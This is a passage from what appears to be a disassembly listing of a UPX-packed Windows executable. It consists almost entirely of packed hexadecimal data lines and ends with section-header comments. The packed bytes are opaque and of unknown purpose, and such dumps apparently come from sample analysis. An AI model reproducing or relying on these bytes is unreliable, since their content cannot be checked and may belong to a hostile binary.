0F116599Eh, 0B985B7A0h, 0E38DC3DAh, 9AC1FA24h, 518FF32Dh dd 31264706h, 8134DBAh, 37274429h, 263BA5EAh, 3AE58800h dd 0CEE3FD45h, 0FAB81C6h, 0CB0BE08Dh, 2BFF41Ch, 59A20C25h dd 2A5ACD0Ch, 46DB103Dh, 0BF2A5A61h, 2E0368EDh, 6549A230h dd 966E8792h, 0A25F2C24h, 23D39885h, 0C7E700EBh, 889B3F57h dd 326153AEh, 0E283AE5Ah, 0DBB23210h, 0C26B6F2Dh, 62DAE1F8h dd 0BDD35711h, 0C8E2082Ch, 636FB18Fh, 92E5D100h, 0CEE348B5h dd 2F041456h, 24CEEDC0h, 907E4B51h, 9FFD3DA1h, 6F75CEE4h dd 0D2955571h, 0A13C19EDh, 26437199h, 0C3E7E4D8h, 9265016Dh dd 0F20729F1h, 7F479BC0h, 0CAEB5067h, 0A83AE4CEh, 15417585h dd 0A3AE886Fh, 6E562353h, 0F802A88Eh, 4EBECCD6h, 9FB73869h dd 2406A4D0h, 0F55D0B9h, 0BEFBD426h, 7C4C2E95h, 1325B2D9h dd 45AFCEE8h, 0B51F4531h, 6407D184h, 4250EEC4h, 0A6FE2218h dd 120A2EC0h, 4236876Ch, 0B385D2B9h, 0A54F6E48h, 0DDC8CCEh dd 1E32BD28h, 0E3873020h, 4F0F90EEh, 72EE996Ch, 0BDC4FC3Ch dd 4E767819h, 7C86C1A8h, 32384855h, 8E156C0Ch, 4DF65E6Ch dd 84B7DC61h, 0E2098872h, 61D75138h, 80C435A7h, 56DC1225h dd 0C231955Bh, 44F8C1D2h, 0A87EA96Eh, 3E03C30Fh, 120F3CC1h dd 8EA3C835h, 0FAD75479h, 0B64B200Dh, 42BF8C91h, 0DEF33865h dd 0AA876449h, 61BD0FDh, 0B2EFDC21h, 0EEC36895h, 5A773419h dd 56AB80ADh, 0E21F2C71h, 0BE9358C5h, 0A27C4E9h, 0A6FB301Dh dd 0D24F7C81h, 4E6308F5h, 0BA9794B9h, 4B4B60B3h, 24DACFB1h dd 1E33B89Ch, 0D36D818Ah, 0C95B90FDh, 0FF3B5F56h, 198CB006h dd 0CA347212h, 0B24F8466h, 50D3AE9Ah, 0F691231Ch, 8EC90DAh dd 6A79DBC9h, 0AB2929C8h, 8BAA48F5h, 7A17ED53h, 0F448A566h dd 0A3E6EE39h, 0D673BC27h, 6A25134Ch, 86FFB87Dh, 2D075CA1h dd 0E343E815h, 9AD5901Ch, 0CE12592Dh, 0A21CA085h, 0C1E43A41h dd 0CA9ECAECh, 0FF8C739Dh, 70387102h, 0DE008835h, 0B5EB64C6h dd 726363CDh, 9F763AB3h, 9EF35A01h, 1E479E0Ah, 45E93B38h dd 0BC228C13h, 70587029h, 0EEB7CE5Ah, 0FDD9BF69h, 0B22D9332h dd 81ACCF6Dh, 0E1292FD6h, 0A682DAD0h, 590C64C1h, 0B2C0B01h dd 0FA976DEBh, 8FC5A5CAh, 42BF8CD1h, 0E21B3865h, 21876449h dd 46225E78h, 459A3421h, 0F62B976Ah, 0D9773419h, 16920E10h dd 0EA6A2C71h, 9C33C54Ch, 96CCC4A9h, 9F75BDE2h, 5D8C7CC1h dd 0E5A9A70h, 34021DB9h, 1E0B2074h, 827F4CD2h, 95F03196h dd 0EAC7A49Ah, 2BB3C2BDh, 71D0E31Fh, 0EEBA02C0h, 99E17759h dd 996BCC97h, 22DEEB35h, 0EEA99B05h, 0B7E38BA9h, 0ED3BF0DDh dd 7ADFB003h, 0F1DCB67Dh, 43FD51FAh, 0F0C8A0CDh, 42378641h dd 4707B81Ch, 5E291D49h, 7770107Eh, 0B36E142Ah, 0B19C37F4h dd 9E0E3546h, 0A32B4C61h, 0AAB4F51Dh, 31E921C6h, 8AA7F3E6h dd 5EFAD69Dh, 5DFDCFFFh, 0CEE323F0h, 944239h, 0FD8E95CDh dd 14DC1Bh, 6FB072AEh, 94354CD8h, 0F3D8EFC2h, 0F2EFA5CBh dd 56C3AD78h, 1E33FB22h, 0E9EB406Dh, 0E266C684h, 2BBBC885h dd 0C918FBD7h, 0A682DAD8h, 0B88AB3C1h, 8DA3880Ch, 7984707Dh dd 6D7822CDh, 0A1B73A9Eh, 0FE3AB877h, 8EA3A51Ah, 2207F9F9h dd 0E9CBD008h, 6F2A83D5h, 0E1A03BE2h, 0D795F470h, 8C5A848Ah dd 3FA52C1Eh, 0AB1C9D12h, 27D544E2h, 676DAA7Ah, 0CF457C59h dd 0E27E0742h, 771514BEh, 0DA96312Ah, 9F258C56h, 0CFF862F2h dd 4755E45Ch, 57102C1Ah, 5185DCB4h, 5A0EE6CCh, 0E7829BEDh dd 7C20134Eh, 17C7DA86h, 0B5987A46h, 6251F01Eh, 649A5419h dd 9BABB74Ah, 7A17F028h, 2EFA18EBh, 26FFEE13h, 3891BAE6h dd 72018E62h, 796EAA95h, 3AADDF5Eh, 6B293992h, 2F1A5CC1h dd 2CABFFD2h, 0D294DFF2h, 0EF96DA15h, 20A7044Dh, 4E119776h dd 0A84F5659h, 7EFBFD76h, 0CFDAFC28h, 77331F32h, 86FFCC51h dd 4FBE0CF7h, 818D5A69h, 0FEDEFBCBh, 72AF9C61h, 0EDBCCA7Eh dd 0AE8B4954h, 931C402Dh, 0A21F5800h, 0FE539885h, 0AA57075Dh dd 0D73E87F7h, 110F7CF5h, 81A2C835h, 0FAD7A2FDh, 3D1E980Dh dd 0E914647Dh, 0E76585ECh, 42376409h, 83EC7B57h, 0B2AFE810h dd 0EFC36895h, 63ED8990h, 1DDF80EDh, 0D62EA986h, 0BE935885h dd 6D9FC6E9h, 0D3CDCF79h, 0B628C484h, 28C8267Eh, 0DC979401h dd 460814E6h, 788E68Ch, 1E73CC94h, 0E2C72409h, 0CE361D05h dd 853969E1h, 0EEB799D0h, 1A377459h, 53E878E9h, 27ABECB9h dd 63E9BBDh, 0BD282FA9h, 260FC158h, 928FBF41h, 0BE273CB5h dd 0F1FC7E10h, 76F23608h, 0E9F08711h, 0A23B312Dh, 1E36613Eh dd 8698503Dh, 6D1B5CA1h, 91278FADh, 444A3DAFh, 7D2B4014h dd 59FAC49h, 0B7AB7321h, 21A7444Fh, 0D9850D75h, 0BAEF4CFEh dd 311C74BAh, 82712DDAh, 0DDEDF532h, 977467C0h, 9EF34C14h dd 0A8B0767Eh, 46DB103Eh, 65478814h, 9EFCD72Bh, 661E1CC6h dd 0AE8DBF92h, 93979CEh, 0B1D83314h, 0F37981A2h, 2E90701Dh dd 0E5F37448h, 0CE97F9B0h, 0FAD75079h, 0E59540Dh, 8A414CB8h dd 1EFB80CEh, 122C603Dh, 61F02888h, 836A2B8Ah, 0E6C328A1h dd 2F773419h, 791600E7h, 0E21F6C45h, 972B19B1h, 0EEEDF1h dd 0E6CF1BB8h, 0D1ABBC81h, 7A48ADFFh, 0A3C94F9h, 7381CAFCh dd 823F78FEh, 1473480Fh, 0AAF30F8Ch, 7E3D3ABDh, 0F7D8E103h dd 0AEC39C64h, 1A377449h, 0DFDBC799h, 57678A1Bh, 4E787EF9h dd 8A542E41h, 0E4867976h, 658FFC78h, 4E177930h, 7A57F4F9h dd 86C2D58Dh, 0EBBA0649h, 0F473F8D1h, 0EA865CAFh, 0B2AAD58Ah dd 322F5CE1h, 6D37E815h, 0D0DF7019h, 961F2988h, 0EB34CAF1h dd 7E2A5EF8h, 0F50EF69h, 263B84ACh, 12CFFC01h, 9E538100h dd 0E3E913Bh, 8121E08Dh, 42CBFDD4h, 9EB3F825h, 0DA4CD189h dd 6C5E1A85h, 58AFDC55h, 9665153Eh, 1F40ECE8h, 16AB745Ch dd 0A25F6D31h, 57E39AF1h, 0FECDA123h, 27B701Dh, 38AA36C2h dd 0E8A38801h, 7B6F32D2h, 87CED7FDh, 42BFCCA5h, 0ABF33867h dd 0A04FD04Bh, 462FFA58h, 3B44BA21h, 0AEFACA28h, 7E4B8C19h dd 0A10080ADh, 0A22B1DF4h, 0BE9350C5h, 0FD4BB0E9h, 0E6CF0198h dd 0D24B7C81h, 0FE687DF5h, 91129E01h, 5C0B2079h, 788013Ah dd 1E73CC94h, 0EAC72C09h, 7E3D81C8h, 0D725FC62h, 0AEC39C7Eh dd 0DA04DF3Fh, 0F07E2B47h, 28C7C509h, 0BEE733A0h, 498344A9h dd 521055D7h, 39E9BC01h, 3A12CD42h, 6A57D4B9h, 8EADA08Dh dd 0C14BCC90h, 547B7C65h, 6A33CF6Ch, 8930367Dh, 640D917h dd 99E8E855h, 9AC3851Ch, 0D62B002Dh, 0D296D8B1h, 1796DA15h dd 20A7045Dh, 124A356Ah dd 72CFFC41h, 48538875h, 3E13164Ch, 0FC75AF40h, 42CBE5F4h dd 143EF125h, 0C47E4B0h, 43279096h, 0F21F9B14h, 6EFC6755h dd 0AB320373h, 16EB0059h, 0C45F6C71h, 0B62FE3Dh, 0ACCEB02Bh dd 0ECA3C0F6h, 523B1744h, 8D430835h, 0D5FE4D3h, 0F67F1188h dd 423F8C91h, 6EF14D65h, 8322EECFh, 601B90C9h, 0B7135C8Ah dd 0EE736FE0h, 1A887B99h, 672E7707h, 0E21F6C45h, 0CB9359C5h dd 6774E2h, 0E6CF1998h, 0DDA4D681h, 8EE0B093h, 8EBE31B3h dd 5D6D600Dh, 75D54D61h, 5E07C920h, 0E8C72409h, 3174E5BDh dd 321B2D64h, 0AA83A855h, 0AA2D0159h, 0BDEECA2Dh, 0A8DFAC85h dd 0BEE728A0h, 5A8745A9h, 0E75D48BBh, 798F0CEAh, 463F8BDh dd 3A63FF7Ch, 0B33C0A8Dh, 0C27F3820h, 5E7BB8E5h, 9261F4BCh dd 2391B8FEh, 322F688Bh, 6FF34373h, 9247BC72h, 0E2018527h dd 9535ACB1h, 7E27E9C0h, 9AA74469h, 530E019Dh, 0D1779A24h dd 0E446828Dh, 5C17540Dh, 0DC4BD366h, 3B757178h, 1B447865h dd 6A0790B8h, 46FB103Dh, 851E8314h, 9665333Eh, 3FBDECD0h dd 16AB7447h, 0A85C88F1h, 3E67B220h, 0E34C6229h, 0A682FAE0h dd 98CEB6C1h, 0CE9A4290h, 4A7C3279h, 9FCE2255h, 0E8BFCCA5h dd 0EAC2BD92h, 0AA846409h, 8214D1FDh, 0B2EFDCA6h, 65A70F2Dh dd 6BFABF3Fh, 0D7ABC099h, 0E21F2C80h, 0BE52AFC7h, 7F24C4E9h dd 0C29C8818h, 6AE45206h, 4E6308F5h, 0BCE23FDFh, 1380D82Bh dd 0E6C7E7B7h, 0B53577C2h, 41A1E43Ah, 0F26A154Ah, 722F1CA1h dd 0EEF6A955h, 2E06F1AEh, 966BC0ADh, 4ABE4B1h, 925EA063h dd 7E56015Eh, 663BF09Dh, 780BE41h, 68C24274h, 0F9E5052h dd 1273C685h, 29946A15h, 0F47B08F6h, 9261EA22h, 3990D25h dd 322F688Ah, 6DA84373h, 2D5D7D29h, 961F31A8h, 629FACF1h dd 8E33ACC5h, 0A3226E6Eh, 0E77BF0A9h, 0DBC2E6E1h, 0CCE3AC7Dh dd 7A233D9Ch, 756F20CDh, 0A9FB08D1h, 0F8191995h, 60A75B31h dd 6EF3998h, 504FA61h, 6E371950h, 9AB7D4D9h, 0E1B8346Dh dd 0E26B5DB4h, 7E539885h, 3DEA7009h, 0E6BB739Ah, 0A20A48C1h dd 7D4862A5h, 775C93F2h, 0B60B198Fh, 3364DBAh, 0D4AB8899h dd 0EAB34DCCh, 83EC7AFDh, 0B2AFE810h, 0EE836895h, 0E211386Dh dd 0D3A143FDh, 0E25F1858h, 6F5522Eh, 0AF2D2416h, 0A6BB0434h dd 57B8D7E7h, 4E233CC4h, 0BB9794BAh, 73FC1339h, 823F78E0h dd 3E33F8A5h, 2D30297Dh, 0C65B90BEh, 0E29F1995h, 257043FFh dd 80B2FF96h, 0BD6B80D4h, 0DE976579h, 7B24D136h, 4A27B098h dd 66BBF0DDh, 1702B234h, 0E637C9Ch, 0FA17DC73h, 0CEB8A374h dd 86F2089Ch, 9F73A8C1h, 0A1B7EC29h, 0E09DB3D6h, 54AF6D19h dd 0E1FB8EBEh, 0DA4FDC19h, 3729002Dh, 0C9C70797h, 386611C0h dd 4A96FC0Fh, 0E5CB1BFBh, 6E4A71ABh, 39E3C841h, 7A2325BCh dd 768BE0CDh, 55F9B941h, 75EB800Eh, 42142F90h, 96F0E816h dd 0CB0D11EAh, 0BB022895h, 9AF7CD5Bh, 5260796Ch, 1FD66815h dd 7E1388E8h, 0F361B9A2h, 6390701Dh, 124F0543h, 0BA924DC2h dd 0FA975439h, 0B43F200Dh, 80145466h, 89A53861h, 9329D9CAh dd 91BD0BDh, 0B2EE05A5h, 0EECE8095h, 1F3C3419h, 1AEECEFFh dd 0A6311E42h, 41931489h, 4A124C7Ch, 187EB91Dh, 814F3CB8h dd 4D5F507Eh, 92E46B61h, 1E3F23C6h, 7D80BA2Dh, 27956D2Eh dd 0E99C2449h, 43D29CFFh, 726F2523h, 278BEA56h, 5A0EB2DCh dd 0BE184BEDh, 225F5F4Eh, 2B3B1805h, 0C1987B5Fh, 26025660h dd 5B67EA41h, 85DCB743h, 3A6E726Ch, 3E812B8Dh, 0E9334612h dd 5B9A3B2Bh, 2B676CC6h, 294507Dh, 326F5DFBh, 57E95D16h dd 6FF4B4D9h, 0D66B395Fh, 6D77905Dh, 3E137AC0h, 8EE1C969h dd 1F0935B6h, 54CCFC41h, 38656025h, 8794EBC6h, 76CBD96Bh dd 39F4B951h, 1DBC7462h, 6A47A592h, 0D3E21CD6h, 0F2EFA5C7h dd 2F0EADDAh, 1FB4F4D9h, 16AB791Fh, 5D67ED57h, 82D697A0h dd 41E70429h, 0A590721Dh, 5BE76CF5h, 0B75C37C3h, 0BAEEF2C4h dd 52CE2F0Dh, 41BF8C91h, 9ECA92E0h, 0D8026749h, 8D1B90C4h dd 0BEA8F721h, 0EE0EEA9Ah, 1D4C3419h, 92288FA5h, 611F2C71h dd 0F9905A05h, 78A2C7FDh, 0F4FB7024h, 6CFA83D1h, 0B16348CCh dd 0FAA2DC2Ch, 368E3A4Dh, 82C8C9DEh, 82DAF8A5h, 0D6C72409h dd 52DE9F42h, 0F22F1CE1h, 2B8CBD6Bh, 1A3774D2h, 0BD6A8666h dd 0CA8FD8F2h, 12CEDDDh, 73C13990h, 114EF09Dh, 0AB253942h dd 8B2048F5h, 7A17ED8Bh, 0F012504h, 0C2B40C51h, 67B13DDEh dd 2275E489h, 0BF5DD546h, 5B1D5CE1h, 6E43E828h, 32C0C6E9h dd 0D62B0032h, 0E963E27Ch, 3D11F384h, 0F9C542Bh, 263B8957h dd 964CF074h, 41D27765h, 5B0B307Dh, 0F948FB26h, 42C65ED4h dd 2B381825h, 6A079DFBh, 0B92D66D5h, 0F206FD9Eh, 5B8328D5h dd 96F0DFD7h, 51D0491Fh, 9EDD6339h, 37AC677Ah, 34558126h dd 0DA308FA2h, 23A8BDE5h, 71A3C811h, 11A8AB86h, 9201A131h dd 0A2BF8CF1h, 55330B2Bh, 2F004045h, 65BE953h, 96DA65ACh dd 6BC06895h, 5A370D6Bh, 180E25CBh, 0A01CEA5Ah, 0B2D173D1h dd 0E2DC822Fh, 0A6A9B1DAh, 0D24A7C81h, 8EA08F5h, 79C9CB45h dd 0CE45D5C0h, 7D294C91h, 5E068430h, 153FA709h, 0C6E014B2h dd 0F7A61CE1h, 0AEC39107h, 0E5617433h, 0D65E7478h, 2D1F69B1h dd 0FED3BC81h, 1AA7AFA9h, 36389A8Dh, 92E7BD2Bh, 58E348B5h dd 4F0B4106h, 0CE48A0CDh, 0FCBB03EEh, 0D773B8E0h, 6A3EB24Ch dd 0DC16DD7Dh, 0BF6F1C98h, 2E7A8A80h, 0B0A5E599h, 43D4502Dh dd 62DF9975h, 31EC20C6h, 8AA248EDh, 0D97BDA9Dh, 12F6AAB4h dd 4E767775h, 0B917540Ch, 0F2841F35h, 2FFC8A4h, 0A7D9FDACh dd 0A374A4C9h, 168AD33Eh, 0A3ABF630h, 17559D2Ah, 0F48F499h dd 16AB750Dh, 2650ACB4h, 7E539C54h, 4F6ECD1Ah, 0E6FB4933h dd 7A5E6D90h, 8EACC82Ah, 5A42AB29h, 334B6038h, 0C83B8351h dd 57F33861h, 0EABE16CCh, 0CBA313FDh, 39EFDC48h, 6B3450DEh dd 5A370028h, 46AB80ADh, 671C2A04h, 0BED348A8h, 0CB2416DAh dd 470CC1EAh, 0EB35F908h, 75DB08B5h, 3197949Dh, 73085C06h dd 823F5CBCh, 0DF302A96h, 0B30D5FEh, 0FF2D1534h, 7DEC1CA1h dd 5785E3E2h, 49BA41BAh, 0D5DCCFF5h, 6B0FEFA5h, 0FDFBD96Eh dd 155D0579h, 9F5599AAh, 0E80CA135h, 0EE5149B9h, 0F16B9F72h dd 74C8B4CFh, 8A7B8101h, 7DAA4F1Ah, 4082DF08h, 459B1044h dd 224B082Ah, 0ECCC2826h, 0DAF7B421h, 3DE48BEEh, 2C2221FAh dd 0C213987Dh, 43949BE2h, 541A8C31h, 25B5C007h, 64C3A477h dd 0D6634805h, 0ABFFCEF1h, 0EA8ACC6Dh, 9F38B1C6h, 2F1FE1B4h dd 7BD0643Dh, 0F2FDDF32h, 0D130ADDAh, 993C0B26h, 58A21750h dd 84DB6372h, 43AC677Ah, 84B2477Eh, 19A0F452h, 4532C33Eh dd 8191FB76h, 52844FDh, 0E51B1DF2h, 0C6B0C3C5h, 210CC760h dd 876FBF7Ah, 9E42F03h, 4D1124A5h, 6115B6Ah, 5A77340Fh dd 0A954EF45h, 0E21FC48Eh, 3FCE58C5h, 4A084E04h, 0A5C6D91Dh dd 2D2B7C81h, 3CD683C7h, 0DE97D480h, 776D42C4h, 8D2501EFh dd 1E30DE20h, 0D699AF09h, 473D4EBEh, 7D6A4CDAh, 0AE80BED0h dd 0C748359h, 966BE0EDh, 21D669BEh, 0BD251805h, 4EC86F5h dd 9ABFFFFDh, 718FBC43h, 0FDAC9B9h, 7557D4F8h, 36C94E0Bh dd 3CF2E411h, 0DC7C471Ah, 2A07E62Ah, 858B1AF6h, 32D750EBh dd 3F43E915h, 251D5A71h, 0F9BE30D2h, 0D39FECC5h, 0EA6E865h dd 0E0A7045Dh, 7EB24EBDh dd 8627E879h, 4B1C779Fh, 0F8831BEBh, 0E3BA021Eh, 2BFF860h dd 98DB9DCEh, 3347A489h, 46DB1655h, 4647C461h, 0A4FCD73Fh dd 0DA83DD5Ch, 3C6FC66Dh, 0A21F5818h, 4A7A1D0Dh, 2A050469h dd 0D28AF5AAh, 12073C81h, 87D6C835h, 0CEFCE9F9h, 0C24A204Dh dd 733A7B54h, 0DDF37851h, 0DE866449h, 2FA650E6h, 0B7EF9C15h dd 5343D8E1h, 5A370033h, 0D60CF4A8h, 0A22B07CCh, 20E75DC5h dd 3E16411Eh, 0A6FB305Dh, 0DB3BFC81h, 7A4AB575h, 0CD9594F9h dd 58AEE3C4h, 827F0CE8h, 0E1C7774Dh, 1707CCF6h, 0E3B36F42h dd 0F92F1CE3h, 0EEBADEC8h, 0E6E99C59h, 12643F12h, 22DFEEBAh dd 0C7A1AD8Eh, 14EC84E9h, 8EE5F3E1h, 6D70419Eh, 0FD6CABAh dd 30D6D4F9h, 36CBC0A9h, 90C187F1h, 4A09BBB3h, 0DD179ECAh dd 0C6AF61F8h, 326F5CA1h, 0E34D9D05h, 9AC3882Ch, 0BBA68B2Dh dd 919FECE1h, 31AA8FE1h, 7A74460h, 666BB028h, 0E36A0F01h dd 3DE16B75h, 0B92E39Dh, 768BA0F9h, 0DEFCC51h, 9EB3D0A1h dd 42345B89h, 0B92A7FD5h, 543A179Eh, 0AB0368ECh, 833FB0Bh dd 9DEB406Dh, 0E2661E84h, 6E191385h, 0AAC34EA8h, 0CD5B705Dh dd 107C348Bh, 0FCA00106h, 975A6F6Dh, 3D4B601Dh, 2AFE11Ch dd 55A54A65h, 0F044075h, 65BC090h, 0DF485F21h, 0EEC36895h dd 5B7F4E92h, 0A1A888E7h, 6794DBF6h, 0BED36143h, 3E16411Eh dd 0A6BB305Dh, 0D03B7C81h, 3C601002h, 33A7BDB5h, 0B632CEF8h dd 0AA0CC7D1h, 9BC4C8A4h, 0EA871038h, 0C65B90FDh, 6AD81E95h dd 52374004h, 0F16E8BA6h, 0BE18C3E1h, 73D39E9Ah, 0A177EB53h dd 76D209F0h, 953BB0E9h, 9DD1E3E5h, 89AEDA84h, 7A57D52Bh dd 2E435B7h, 0C44A0C51h, 80B6A8Ch, 7A8FF6FDh, 5957B882h dd 0B935A35Eh, 2440E45Fh, 0EB724389h, 0D62B4019h, 0EF8FACF1h dd 2D66DE04h, 0B309C9E0h, 0A378B0DDh, 528FEC6Ch, 0CE8E2FF6h dd 11171439h, 0C374C88Eh, 2BFF52Fh, 9EE1FFACh, 2CC8A489h dd 775EE71Dh, 0F2AFDC55h, 5A8328D5h, 0BD5FA6DEh, 4C14BF94h dd 9BF1E1BAh, 7DB098C5h, 41CF4FA0h, 63306017h, 124F05B7h dd 0FDAB820Ch, 0F29DDD7Ah, 355B620Ch, 0C9BFD4F2h, 9ECA42E0h dd 8EBB0C49h, 441AD0FDh, 0F1EE8529h, 0C156E2C5h, 0AD77742Dh dd 169FB128h, 0E21F2C71h, 0BD952CD5h, 4A37A964h, 51FB861Dh dd 927B4D04h, 4C6308F5h, 4483E1B9h, 0C78E978Bh, 827F0CE5h dd 6B33FCA5h, 0DA72AE0Fh, 315BD089h, 321B2D64h, 0AEC3A855h dd 903C0159h, 3CA9C2EAh, 0D53D3AB3h, 0F95911EEh, 48CD469Bh dd 55CC120Bh, 0B004D893h, 5621C7D1h, 4301697Ah, 39CBA0CDh dd 3DC48495h, 2CC6471Ah, 0D507A4F0h, 0C6AE94E8h, 5CDAA3A1h dd 9143A82Ch, 9AC2880Ch, 8CA68D2Dh, 0EF9FECC8h, 7E2ABAD0h dd 0E0F51569h, 70CE4F9Dh, 0ADCFBC38h, 8ED630E0h, 6CA2EB39h dd 898BA0F4h, 42CAF0C4h, 0D006F525h, 9547E4B1h, 6E24288h dd 6750CA61h, 2E431D61h, 0A3E1515Ah, 0D5EB402Dh, 0A25F6CD9h dd 7F39C585h, 0F9AEE9A8h, 16E3701Dh, 928AFDCEh, 0BA38820h dd 325497B9h, 7744D0F2h, 2AA0C14h, 0CECEFB65h, 0DF874E49h dd 7A9AB6E1h, 0C383D005h, 6A37BE0h, 0A588CBDDh, 284385D8h dd 0AE0D38Ah, 416CA717h, 27D8EA88h, 0B4CF6665h, 0D24F5939h dd 0EB8B68F5h, 0CF686B46h, 0D24FEB74h, 0CCCAC1E1h, 9533B89Dh dd 6BA12C59h, 0B5599687h, 72474AC4h, 25835755h, 48371E9Dh dd 6EFE3FBDh, 0A1DFAC84h, 0C05210C1h, 1658BBF5h, 0A0B8F3A8h dd 69A45445h, 71CBB74Ah, 1BA82B06h, 36BF184Eh, 73D40C11h dd 5E73975Dh, 2A170CC9h, 0A659507Dh, 325FE4A1h, 6DABE815h dd 18F7B499h, 82A60009h, 4C52A0D5h, 421320C6h, 8A4F2470h dd 0AD7BB09Dh, 0FFFD855h, 236292FEh, 3A57202Ah, 896ED925h dd 63DADAEh, 99B17925h, 2344A18Fh, 0F776F7CAh, 0D67693D4h dd 0A60E0AD1h, 1A19h dup(0) UPX2 ends ; Section 4. (virtual address 00011000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00011000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 31431000h align 2000h _idata2 ends end start